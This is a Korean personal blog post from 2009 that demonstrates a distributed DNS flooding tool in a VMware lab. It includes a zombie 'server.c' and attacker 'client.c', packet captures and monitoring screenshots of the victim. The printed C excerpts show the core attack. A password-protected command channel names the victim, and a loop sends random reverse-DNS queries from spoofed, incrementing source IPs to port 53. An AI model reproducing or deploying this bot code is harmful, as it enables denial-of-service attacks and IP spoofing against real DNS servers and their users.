삽질은 나의 힘 | Distributed DNS Flooder by Extirpater
삽질은 나의 힘 위치로그  |  태그  |  미디어로그  |  방명록
icon Distributed DNS Flooder by Extirpater
Security | 2009. 3. 17. 02:16

=================================================================================

※ This file was coded by Extirpater ( extirpater@crosswinds.net )

server.c        --   running in zombie PC

client.c         --   send a attack command to zombie PC


environment ->   three PC is same network.
                                 
                        attacker, zombie : VM( vmware : bridged )
                        DNS server : real PC (58ya server)

                        zombie is one -_-;
=================================================================================

< zombie PC >

   -  compile a source(server.c) and run in a background mode
   - # netstat -apnu
 

사용자 삽입 이미지



    - opened UDP port 49313 ( 58ya is mask name, default port is 49313 n default name is vi -0- )
 =================================================================================

< attacker PC>
   -  compile a source(client.c) and send a attack CMD to zombie PC
 =================================================================================

< captured packets >


  src address             dst address                      
(spoofed IP )         (victim DNS server)
   
사용자 삽입 이미지



















- spoofed IP is in sequence (-> can modify a start IP in a source file)

=================================================================================

< victim DNS server >

- top CMD n monitoring
사용자 삽입 이미지




=================================================================================

<client.c>
...
...

//  input a DNS server address(victim)
sscanf(argv[3], "%d.%d.%d.%d", &ip[0], &ip[1], &ip[2], &ip[3]); 
...
...
//  input a DNS server address(victim) to command (arrange)
//  on_off : check value (attack | stop)

sprintf(command, "%c%c%c%c%c%s", on_off, ip[0], ip[1], ip[2], ip[3], PASSWORD);
...
...
=================================================================================

<server.c>
...
...
 while(1)
    {          
   if(running==1)
   {
              // make a random queries 
              sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());        
       strcpy(data,namez);
           *((u_short *)(data+strlen(namez)+1))=ntohs(12);
              *((u_short *)(data+strlen(namez)+3))=ntohs(1);
       udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
       usleep(30);
              s_ip=ntohl(s_ip);
       s_ip++;                        // src_ip++
           s_ip=htonl(s_ip);
   }
   if(get_pkt(sockfd, command, 25)>5)
   {
  memset(passw0rd, 0, sizeof(passw0rd));
  for(i=5;i<26;i++)                                 // swap password value bcoz passwd check
  {
      passw0rd[i-5]=command[i];
      if(command[i]==0) break;
  }
  if(strstr(passw0rd, PASSWORD)!=0)     //  passwd check
  {
      running=command[0];
      memset(dest_ip, 0, sizeof(dest_ip));
   
      //  DNS server address(victim)
      sprintf(dest_ip, "%d.%d.%d.%d", command[1], command[2], command[3], command[4]);
      d_ip=host2ip(dest_ip);
  }
   }
    }
...
...

=================================================================================
Cheeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer up!!!!!!!!!!!!!!
=================================================================================

'Security' 카테고리의 다른 글

HTTP DoS 정리  (0) 2011.05.13

arrow 트랙백 | 댓글



관리자  |   글쓰기
BLOG main image
분류 전체보기 (27)
Server (4)
Network (3)
Packet Analysis (3)
Security (3)
TroubleShooting (8)
Algorithm (1)
ETC (2)
None (1)
Total :
Today :
Yesterday :
rss
위치로그 : 태그 : 방명록 : 관리자
minSoong-e's Blog is powered by Daum / Designed by plyfly.net